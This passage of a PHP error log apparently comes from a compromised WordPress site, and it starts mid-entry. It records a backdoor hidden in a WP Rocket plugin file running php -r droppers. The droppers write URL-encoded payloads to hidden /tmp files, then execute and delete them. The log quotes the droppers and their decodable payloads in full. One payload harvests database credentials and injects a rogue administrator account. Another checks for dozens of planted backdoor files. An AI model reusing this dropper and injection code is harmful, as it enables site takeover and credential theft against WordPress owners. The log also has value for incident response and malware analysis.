27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27/home/velstone%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.class&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[21-Nov-2025 14:27:32 UTC] PHP Warning:  Undefined array key "DB_HOST" in /tmp/.parle_tokens on line 1
[21-Nov-2025 14:27:33 UTC] PHP Warning:  Undefined array key "DB_USER" in /tmp/.parle_tokens on line 1
[21-Nov-2025 14:27:33 UTC] PHP Warning:  Undefined array key "DB_PASSWORD" in /tmp/.parle_tokens on line 1
[21-Nov-2025 14:27:33 UTC] PHP Warning:  Undefined array key "DB_NAME" in /tmp/.parle_tokens on line 1
[21-Nov-2025 14:27:33 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Access denied for user ''@'localhost' (using password: NO) in /tmp/.parle_tokens:1
Stack trace:
#0 /tmp/.parle_tokens(1): mysqli->__construct()
#1 /tmp/.parle_tokens(1): scan_wp()
#2 /tmp/.parle_tokens(1): scan()
#3 /tmp/.parle_tokens(1): scan()
#4 /tmp/.parle_tokens(1): scan()
#5 /tmp/.parle_tokens(1): scan()
#6 Command line code(1): include('/tmp/.parle_tok...')
#7 {main}
  thrown in /tmp/.parle_tokens on line 1
[21-Nov-2025 19:26:03 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Failed to parse IPv6 address "[[softdbhost]]:3306" in /tmp/.locked:1
Stack trace:
#0 /tmp/.locked(1): mysqli->__construct()
#1 /tmp/.locked(1): inject()
#2 /tmp/.locked(1): scan()
#3 /tmp/.locked(1): scan()
#4 /tmp/.locked(1): scan()
#5 /tmp/.locked(1): scan()
#6 /tmp/.locked(1): scanRootPaths()
#7 Command line code(1): include('/tmp/.locked')
#8 {main}
  thrown in /tmp/.locked on line 1
[22-Nov-2025 01:14:26 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Failed to parse IPv6 address "[[softdbhost]]:3306" in /tmp/.ob_iconv_handle:1
Stack trace:
#0 /tmp/.ob_iconv_handle(1): mysqli->__construct()
#1 /tmp/.ob_iconv_handle(1): inject()
#2 /tmp/.ob_iconv_handle(1): scan()
#3 /tmp/.ob_iconv_handle(1): scan()
#4 /tmp/.ob_iconv_handle(1): scan()
#5 /tmp/.ob_iconv_handle(1): scan()
#6 /tmp/.ob_iconv_handle(1): scanRootPaths()
#7 Command line code(1): include('/tmp/.ob_iconv_...')
#8 {main}
  thrown in /tmp/.ob_iconv_handle on line 1
[22-Nov-2025 07:24:46 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Failed to parse IPv6 address "[[softdbhost]]:3306" in /tmp/.post:1
Stack trace:
#0 /tmp/.post(1): mysqli->__construct()
#1 /tmp/.post(1): inject()
#2 /tmp/.post(1): scan()
#3 /tmp/.post(1): scan()
#4 /tmp/.post(1): scan()
#5 /tmp/.post(1): scan()
#6 /tmp/.post(1): scanRootPaths()
#7 Command line code(1): include('/tmp/.post')
#8 {main}
  thrown in /tmp/.post on line 1
[22-Nov-2025 13:25:43 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Failed to parse IPv6 address "[[softdbhost]]:3306" in /tmp/.content:1
Stack trace:
#0 /tmp/.content(1): mysqli->__construct()
#1 /tmp/.content(1): inject()
#2 /tmp/.content(1): scan()
#3 /tmp/.content(1): scan()
#4 /tmp/.content(1): scan()
#5 /tmp/.content(1): scan()
#6 /tmp/.content(1): scanRootPaths()
#7 Command line code(1): include('/tmp/.content')
#8 {main}
  thrown in /tmp/.content on line 1
[22-Nov-2025 18:59:50 UTC] PHP Parse error:  syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 1
[25-Nov-2025 14:17:41 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20%20%20%24r%20%3D%20%27/home/velstone/noordvest.com%27%3B%20%24x%20%3D%20%5B%22/index.php%22%3D%3E%22bd%40%40158558501%40%40%24_COOKIE%5B8%22%2C%0A%22/wp-content/plugins/wp-rocket/vendor/symfony/polyfill-php80/Resources/stubs/Attribute.php%22%3D%3E%22bd%40%40207087104%40%4080%22%2C%0A%22/wp-content/plugins/elementor/vendor_prefixed/twig/twig/twig/src/Sandbox/type.php%22%3D%3E%22bd%40%40158553345%40%40535%22%2C%0A%22/wp-content/plugins/wp-rocket/inc/Engine/Media/Lazyload/CSS/Front/export.class.php%22%3D%3E%22bd%40%40158565377%40%40534%22%2C%0A%22/wp-content/plugins/vamtam-importers-e/importers/revslider/importer.php%22%3D%3E%22bd%40%40159456266%40%404482%22%2C%0A%22/wp-content/plugins/wp-rocket/inc/Engine/Media/PreloadFonts/Admin/method.uninstall.php%22%3D%3E%22bd%40%40158545675%40%402225%22%2C%0A%22/wp-content/plugins/wp-rocket/vendor/berlindb/core/src/Database/Queries/upimages.php%22%3D%3E%22bd%40%40158565137%40%40534%22%2C%0A%22/index.php%22%3D%3E%22bd%40%40161099794%40%40405%22%2C%0A%22/wp-content/themes/twentytwentythree/patterns/hidden-no-results.php%22%3D%3E%22bd%40%40156431900%40%401050%22%2C%0A%22/index.php%22%3D%3E%22bd%40%40154681889%40%40405%22%2C%0A%22/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/function.math.php%22%3D%3E%22bd%40%40158552873%40%401045%22%2C%0A%22/wp-admin/includes/class-wp-automatic-updater.php%22%3D%3E%22bd%40%40158549546%40%40_COOKIE%5B3%5D%22%2C%0A%22/wp-admin/network/menu.php%22%3D%3E%22bd%40%40155031341%40%405450%22%2C%0A%22/wp-content/plugins/elementor/vendor_prefixed/twig/twig/twig/src/Node/Expression/Filter/fillSurveyAction.php%22%3D%3E%22bd%40%40158552374%40%401520%22%2C%0A%22/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php%22%3D%3E%22bd%40%40158545720%40%401679%22%2C%0A%22/wp-content/plugins/wp-rocket/inc/Dependencies/ActionScheduler/classes/data-stores/ActionScheduler.wpCommentLogger.php%22%3D%3E%22bd%40%40158545467%40%402801%22%2C%0A%22/wp-admin/includes/update-core.php%22%3D%3E%22bd%40%40158919751%40%4070788%22%2C%0A%22/wp-content/plugins/cloudflare/vendor/psr/log/Psr/Log/Test/set_user_roles.php%22%3D%3E%22bd%40%40158553674%40%401727%22%2C%0A%22/wp-content/plugins/elementor/app/modules/kit-library/data/kits/route.php%22%3D%3E%22bd%40%40158566223%40%40686%22%2C%0A%22/wp-content/themes/twentytwentyfive/patterns/more-posts.php%22%3D%3E%22bd%40%40158549849%40%40_COOKIE%5B3%5D%22%2C%0A%22/wp-content/plugins/elementor/modules/site-navigation/data/endpoints/recent.posts.php%22%3D%3E%22bd%40%40207087450%40%40680%22%2C%0A%22/index.php%22%3D%3E%22bd%40%40161276269%40%40405%22%2C%0A%22/wp-content/themes/twentytwentyfive/patterns/header-centered.php%22%3D%3E%22bd%40%40155475835%40%401460%22%2C%0A%22/index.php%22%3D%3E%22bd%40%40160539778%40%40405%22%2C%0A%22/wp-content/themes/twentytwentyfive/patterns/overlapped-images.php%22%3D%3E%22bd%40%40159930756%40%404038%22%2C%0A%22/param.php%22%3D%3E%22bd%40%40155954311%40%40796%22%2C%0A%22/wp-content/plugins/wp-rocket/inc/deprecated/Engine/Addon/Busting/myblockslist.php%22%3D%3E%22bd%40%40158545289%40%402180%22%2C%0A%22/index.php%22%3D%3E%22bd%40%40161296276%40%40405%22%2C%0A%22/wp-content/plugins/wp-rocket/inc/Engine/Media/PreloadFonts/Database/Rows/customer_notes.php%22%3D%3E%22bd%40%40158559894%40%401035%22%2C%0A%22/wp-content/plugins/wp-rocket/inc/Engine/Common/JobManager/Strategy/Factory/toplinks.php%22%3D%3E%22bd%40%40207087261%40%40649%22%2C%0A%22/dn.php%22%3D%3E%22bd%40%40175078825%40%401126%22%2C%0A%22/wp-content/plugins/elementor/vendor_prefixed/twig/twig/twig/src/Node/Expression/rokcandy.php%22%3D%3E%22bd%40%40158559402%40%40535%22%2C%0A%22/File_dm.php%22%3D%3E%22bd%40%40175078827%40%40805%22%2C%0A%22/wp-content/themes/execor/vamtam/assets/css/src/fallback/outer.whitespace.variables.php%22%3D%3E%22bd%40%40207087278%40%40658%22%2C%0A%22/wp-content/plugins/elementor/vendor_prefixed/twig/twig/twig/src/Extension/html4strict.php%22%3D%3E%22bd%40%40158559668%40%40591%22%2C%0A%22/wp-content/plugins/elementor/modules/atomic-widgets/prop-types/filters/functions/color.tone.type.php%22%3D%3E%22bd%40%40207087293%40%40534%22%2C%0A%22/index.php%22%3D%3E%22bd%40%40153960898%40%40405%22%2C%0A%22/wp-content/plugins/wp-rocket/inc/deprecated/Engine/Media/Embeds/cateddel.php%22%3D%3E%22bd%40%40207087301%40%40586%22%2C%0A%22/index.php%22%3D%3E%22bd%40%40159160264%40%40405%22%2C%0A%22/index.php%22%3D%3E%22bd%40%40162649291%40%40405%22%2C%0A%22/wp-content/plugins/elementor/vendor_prefixed/twig/twig/twig/src/inpostads.php%22%3D%3E%22bd%40%40158560462%40%401680%22%2C%0A%22/wp-content/themes/execor/vamtam/assets/fonts/theme-icons/split/FixNesting.php%22%3D%3E%22bd%40%40158565844%40%401498%22%2C%0A%22/index.php%22%3D%3E%22bd%40%40157518303%40%40405%22%2C%0A%22/wp-content/plugins/malcare-security/protect/fw/rule/functions/wp.php%22%3D%3E%22bd%40%40158564064%40%40%24_COOKIE%5B6%22%2C%0A%22/wp-content/plugins/elementor/modules/atomic-widgets/props-resolver/transformers/export/image.src.export.transformer.php%22%3D%3E%22bd%40%40158560230%40%401034%22%2C%0A%22/wp-content/plugins/elementor/vendor_prefixed/twig/twig/twig/src/Node/Expression/Test/forgot_password.php%22%3D%3E%22bd%40%40158551785%40%40628%22%2C%0A%22/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/gd.php%22%3D%3E%22bd%40%40158565617%40%40659%22%2C%0A%22/index.php%22%3D%3E%22bd%40%40158193139%40%40405%22%2C%0A%22/wp-content/plugins/cloudflare/vendor/psr/log/Psr/Log/action.validate.php%22%3D%3E%22bd%40%40158544885%40%401820%22%2C%0A%22/cloud.php%22%3D%3E%22bd%40%40160716795%40%40602%22%2C%0A%22/index.php%22%3D%3E%22bd%40%40153012865%40%40405%22%2C%0A%22/scm_ping.php%22%3D%3E%22ui%40%40958120%40%4062%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.post&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[25-Nov-2025 18:11:14 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22OICJNlPldiAXoWC%22.%22wpUoNvmbuzmy%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.parle_tokens&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[26-Nov-2025 07:37:30 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Failed to parse IPv6 address "[[softdbhost]]:3306" in /tmp/.accept:1
Stack trace:
#0 /tmp/.accept(1): mysqli->__construct()
#1 /tmp/.accept(1): inject()
#2 /tmp/.accept(1): scan()
#3 /tmp/.accept(1): scan()
#4 /tmp/.accept(1): scan()
#5 /tmp/.accept(1): scan()
#6 /tmp/.accept(1): scanRootPaths()
#7 Command line code(1): include('/tmp/.accept')
#8 {main}
  thrown in /tmp/.accept on line 1
[26-Nov-2025 12:03:46 UTC] PHP Parse error:  syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 1
[27-Nov-2025 10:06:20 UTC] PHP Parse error:  syntax error, unexpected double-quote mark, expecting "]" in /tmp/.request on line 1
[28-Nov-2025 18:38:15 UTC] PHP Warning:  Undefined array key "DB_HOST" in /tmp/.uconvert on line 1
[28-Nov-2025 18:38:15 UTC] PHP Warning:  Undefined array key "DB_USER" in /tmp/.uconvert on line 1
[28-Nov-2025 18:38:15 UTC] PHP Warning:  Undefined array key "DB_PASSWORD" in /tmp/.uconvert on line 1
[28-Nov-2025 18:38:15 UTC] PHP Warning:  Undefined array key "DB_NAME" in /tmp/.uconvert on line 1
[28-Nov-2025 18:38:15 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Access denied for user ''@'localhost' (using password: NO) in /tmp/.uconvert:1
Stack trace:
#0 /tmp/.uconvert(1): mysqli->__construct()
#1 /tmp/.uconvert(1): scan_wp()
#2 /tmp/.uconvert(1): scan()
#3 /tmp/.uconvert(1): scan()
#4 /tmp/.uconvert(1): scan()
#5 /tmp/.uconvert(1): scan()
#6 Command line code(1): include('/tmp/.uconvert')
#7 {main}
  thrown in /tmp/.uconvert on line 1
[29-Nov-2025 06:29:08 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22tzMzkUiSBcpst%22.%22KNCnGfVGeYFnfAqoBgk%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.center&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[29-Nov-2025 06:29:16 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22okEgJRfyWJZG%22.%22vDjtMCprrNV%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.sys&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[29-Nov-2025 06:29:30 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22zSTxnAbbpG%22.%22OGJMWLMZuLjKoh%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.content&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[29-Nov-2025 06:29:45 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22HlLrFgMAQrTxLUxbkP%22.%22ZZBsWrPTqgTJz%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.requests&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[29-Nov-2025 06:30:20 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22DFjALhyHnFLqxkbAORBv%22.%22quIlmYhissb%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.internal&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[30-Nov-2025 03:36:45 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22yoDoUnhybgQ%22.%22ZoptCMxVwjHzzzGr%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.cache&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[30-Nov-2025 03:37:24 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22XeZCDqDYYMYay%22.%22rBWmqIbHissXkwfBXT%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.parle_tokens&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[30-Nov-2025 03:37:42 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22RlhzdnUdhodxGtWaT%22.%22IqMDEgrxHsrRLGXUth%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.accept&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[30-Nov-2025 03:38:26 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22fhIZzYqjxfskP%22.%22RalFXAMJLkI%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.db2_convert&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[30-Nov-2025 03:38:47 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22BPMinYtltQgdOdjGxAL%22.%22iySyRqHLCpszsCDFSDFP%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.partition&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[30-Nov-2025 05:15:30 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22IhfzOBfBxU%22.%22PgDzRPZhJfVUf%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.system&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[13-Dec-2025 07:28:13 UTC] PHP Parse error:  syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 3
[14-Dec-2025 05:14:38 UTC] PHP Parse error:  syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 18
[15-Dec-2025 05:24:55 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22sLsnIwXGXcik%22.%22gKlDQYssKTrEc%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.request&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
